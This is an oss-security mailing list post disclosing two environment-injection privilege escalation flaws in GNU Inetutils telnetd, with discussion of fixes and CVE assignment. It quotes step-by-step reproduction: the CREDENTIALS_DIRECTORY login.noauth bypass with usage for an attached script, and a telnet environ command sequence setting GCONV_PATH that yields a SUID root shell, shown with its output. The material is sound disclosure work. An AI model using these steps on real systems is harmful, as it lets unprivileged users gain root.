oss-sec mailing list archives

Re: Telnetd Vulnerability Report


From: Solar Designer <solar () openwall com>
Date: Tue, 24 Feb 2026 06:29:43 +0100

Hi,

Thank you for bringing this to oss-security, Justin!

On Tue, Feb 24, 2026 at 03:17:02AM +0200, Justin Swartz wrote:
I have been reviewing the recent vulnerability report by Ron Ben Yizhak regarding CREDENTIALS_DIRECTORY, as well as 
commit 4db2f19f which introduces unsetenv("CREDENTIALS_DIRECTORY") to address the problem.

Looks like this wasn't reported to oss-security yet, so let me do that
now.  Ron Ben Yizhak's report is here:

https://lists.gnu.org/archive/html/bug-inetutils/2026-02/msg00000.html

and I quote it in full below:

From:         Ron Ben Yizhak
Subject:      Telnetd Vulnerability Report
Date:         Thu, 5 Feb 2026 14:39:57 +0200

Hello,

My name is Ron Ben Yizhak and I am a security researcher from SafeBreach.

I want to report a severe vulnerability that I found in telnetd from the repository 
https://codeberg.org/inetutils/inetutils

After the vulnerability CVE-2026-24061 was fixed, it was no longer possible to force telnetd to execute 
/usr/bin/login with the parameter -f and skip the authentication. However the research on CVE-2026-24061 revealed 
that telnetd allows clients to set environment variables for the telnetd process itself and for all its sub 
processes. One of its processes as we know from CVE-2026-24061, is /usr/bin/login.

This is the root cause of the vulnerability I’m reporting to you. Setting environment variables as a remote telnet 
client enables us to spawn /usr/bin/login with the environment variable “CREDENTIALS_DIRECTORY”. This will make the 
process search for a file named “login.noauth” in the directory specified by “CREDENTIALS_DIRECTORY”. If the file 
contains the string “yes”, login will skip the authentication and provide a shell for the client running as the user 
the client specified. It can be any user, even root.

https://github.com/util-linux/util-linux/blob/master/login-utils/login.c#L1306

Attached to this mail is a video demonstrating the vulnerability on a fully patched ubuntu 25 machine with the latest 
telnetd. Also attached is a script to test this vulnerability

Usage:

1. create a directory as a low privileged user, for example /home/weak_user/fake_cred

2. create a file named login.noauth containing the string “yes” inside this directory

3. launch the python script with the following parameters

./telnet_lpe.py 127.0.0.1 --env CREDENTIALS_DIRECTORY=/home/weak_user/fake_cred --env USER=root

Best regards,
Ron Ben Yizhak

Attachment: telnet_lpe.py
Description: Text Data

Attachment: telnet_lpe_demo.mp4
Description: video/mp4

I'm re-attaching telnet_lpe.py, but not the video.

On Tue, Feb 24, 2026 at 03:17:02AM +0200, Justin Swartz wrote:
After becoming aware of CVE-2026-24061 (telnetd in GNU Inetutils through 2.7 allows remote authentication bypass via 
a "-f root" value for the USER environment variable), I was curious to find out whether there'd also been a potential 
regression of CVE-1999-0073, described as: telnet allows a remote client to specify environment variables including 
LD_LIBRARY_PATH, allowing an attacker to bypass the normal system libraries and gain root access. I can confirm that 
this is still an issue 27 years later, despite attempts at blacklisting environment variables by prefix or full name.

The problem stems from telnetd executing /bin/login in a root-to-root context, which means that AT_SECURE is set to 0 
by the kernel in the process's auxiliary vector. When AT_SECURE holds a positive value, it informs the dynamic linker 
(ld-linux.so) and libc to enter a "secure-execution mode" where a bunch of interesting environment variables are 
discarded or, at least, defanged if present. In other words, the responsibility is on telnetd itself to ensure that 
none of those potentially interesting, and attacker controlled, variables make their way to /bin/login.

While using unsetenv() negates a user's ability to exploit the login.noauth vector, the possibility still exists for 
the inclusion of variables of interest to GNU gettext (such as OUTPUT_CHARSET or LANGUAGE) and glibc (such as 
GCONV_PATH) via the telnet protocol itself.

For example, by injecting OUTPUT_CHARSET and LANGUAGE, an attacker can persuade gettext that a character set 
conversion is necessary. This forces gettext to call libc's iconv_open(), and because AT_SECURE is 0, iconv_open() 
will use an injected GCONV_PATH in its quest for a gconv-modules file. Assuming the attacker already has a local 
unprivileged account, or at least a means of uploading files to the host (and knowing the location of the uploaded 
files), a custom gconv-modules file will allow arbitrary shared objects to be loaded soon after /bin/login attempts 
to print a localized prompt.

For proof of concept, I've declared a broad selection of LANGUAGE codes for the best chance of matching an installed 
locale. An attacker with local access could simply determine what's actually installed and select only one that 
doesn't match the system's default locale instead. Similarly, OUTPUT_CHARSET has been chosen as a deliberate mismatch 
against the very common choice of UTF-8:

  abuser@prospecton.hyperama:~$ ls -al .gconv
  total 184
  drwxr-xr-x 2 abuser abuser   4096 Jan  1  1970 .
  drwxr-x--- 5 abuser abuser  36864 Jan  1  1970 ..
  -rw-r--r-- 1 abuser abuser    256 Jan  1  1970 gconv-modules
  -rw-r--r-- 1 abuser abuser  15568 Jan  1  1970 libcash2trash.so


  abuser@prospecton.hyperama:~$ telnet -l abuser
  telnet> environ define GCONV_PATH /home/abuser/.gconv
  telnet> environ export GCONV_PATH
  telnet> environ define LANGUAGE fr:de:es:it:pt:nl:sv:pl:uk:ru:zh_CN:ko:ja
  telnet> environ export LANGUAGE
  telnet> environ define OUTPUT_CHARSET ISO-8859-1
  telnet> environ export OUTPUT_CHARSET
  telnet> open 127.0.0.1
  Trying 127.0.0.1...
  Connected to 127.0.0.1.
  Escape character is '^]'.
  
  Linux (localhost) (pts/6)
  
  Connection closed by foreign host.


  abuser@prospecton.hyperama:~$ ls -al .gconv
  total 184
  drwxr-xr-x 2 abuser abuser   4096 Jan  1  1970 .
  drwxr-x--- 5 abuser abuser  36864 Jan  1  1970 ..
  -rw-r--r-- 1 abuser abuser    256 Jan  1  1970 gconv-modules
  -rw-r--r-- 1 abuser abuser  15568 Jan  1  1970 libcash2trash.so
  -rwsr-sr-x 1 root   root   125640 Jan  1  1970 trash


  abuser@prospecton.hyperama:~$ .gconv/trash -p
  # id
  uid=1001(abuser) gid=1002(abuser) euid=0(root) egid=0(root) groups=0(root),1002(abuser)


Once the telnet connection opens, /bin/login tries to print the localized prompt but gettext recognizes the encoding 
mismatch and calls iconv_open() to parse the gconv-modules file in the directory referenced by the injected path 
before loading the shared object that turns cash ($) to trash (#). The connection drops because I included a call to 
exit() once the payload has executed. As illustrated above, the payload effectively asserts root privilege and makes 
a copy of /bin/sh with SUID/SGID permissions. Note that no authentication via telnetd was required, nor performed, 
for this privilege escalation trick to occur. Also note that this is just one of many possible methods that may be 
used to exploit this condition.

In my opinion, to fix this issue and finally put the ghost of CVE-1999-0073 to rest: telnetd must drop the blacklist 
approach and adopt the OpenSSH AcceptEnv-style approach suggested by Simon Josefsson [1], which amounts to preparing 
a brand new environment for /bin/login based on a strict whitelist of variables names considered to be "safe", and 
perhaps a healthy dose of input sanitization for their respective values.

Oh, sure.  A couple of decades ago I ported OpenBSD's telnet and telnetd
to Linux for our distro, Owl.  I no longer recalled all detail, but
looking at my "Linux port" patch now, it appears to implement a strict
allow-list approach already.  There's a comment saying the "list comes
from Linux NetKit telnetd, version 0.17", so maybe NetKit already used
that approach too, and Linux distros got a regression by switching from
NetKit to InetUtils?  Or it could be that Red Hat used NetKit and Debian
went with InetUtils.  I see I'm also lightly sanitizing env var values
(only for not containing '/' and being of sane length), which I doubt
was in NetKit.

My very first RPM changelog entry was:

* Sat Nov 17 2001 Solar Designer <solar-at-owl.openwall.com>
- Ported the telnet client and server from OpenBSD-current (post-3.0),
reviewing changes made in NetBSD-current, FreeBSD-current, and Linux
NetKit 0.17.
- Filter environment variables in telnetd with a white list (took the
list itself from NetKit), but also use a black list for logging likely
attacks.
- Dropped the "mini inetd" from telnetd.
- Dropped Kerberos-related pieces from the man pages (the telnet stuff
is already bad enough, let's better not add to that).
- Wrote telnetd.xinetd.
- Wrote this spec file, based (sub)package descriptions on Red Hat's.

So at least OpenBSD was at risk, relying on their badenv_table being
comprehensive.  Probably other *BSDs too.

Perhaps non-Linux systems that still have telnetd also still have this
weakness, and you could find specific env vars/values that would work
for them?

There was also a symmetric problem where a malicious server could
request arbitrary env vars from the telnet client, obtaining sensitive
information.  This too was promptly fixed in my port:

* Wed Nov 21 2001 Solar Designer <solar-at-owl.openwall.com>
[...]
- Added a Red Hat Linux derived patch to the telnet client such that it
permits queries for exported variables only.

... so apparently it had been fixed in Red Hat Linux, but not *BSDs.

Further, I implemented privsep:

* Sun Nov 25 2001 Solar Designer <solar-at-owl.openwall.com>
- Do telnet protocol handling as a dedicated pseudo-user and in a chroot
jail.  This uses the approach introduced by Chris Evans in his NetKit
telnetd patches, but the code is different.

Architecture diagram:

https://www.openwall.com/presentations/Owl/mgp00017.html

Patches against OpenBSD telnet/telnetd:

https://github.com/openwall/Owl/tree/main/packages/telnet

Tarball with the OpenBSD code to be patched:

https://download.openwall.net/pub/Owl/pool/sources/telnet/

This can be revitalized and used to replace the code currently in
InetUtils if anyone is willing to invest significant time into that.

In terms of the CVE that Ron Ben Yizhak had asked about earlier in the thread: I think it might make the most sense 
to co-ordinate a single CVE for "Improper environment sanitization in telnetd" that comprehensively covers both the 
CREDENTIALS_DIRECTORY vector and this dynamic linker escape.

So essentially a new CVE for improper/incomplete fix of CVE-1999-0073,
emphasizing that only an allow list is considered a proper fix of the
new CVE.  Makes sense to me.

I'm happy to share the intentionally redacted payload privately with the maintainers should any help be required to 
reproduce the proof of concept.

Regards,
Justin

---

[1] https://lists.gnu.org/archive/html/bug-inetutils/2026-02/msg00002.html

Thank you both for taking a fresh look and sharing these findings.

Alexander

Attachment: telnet_lpe.py
Description:


Current thread: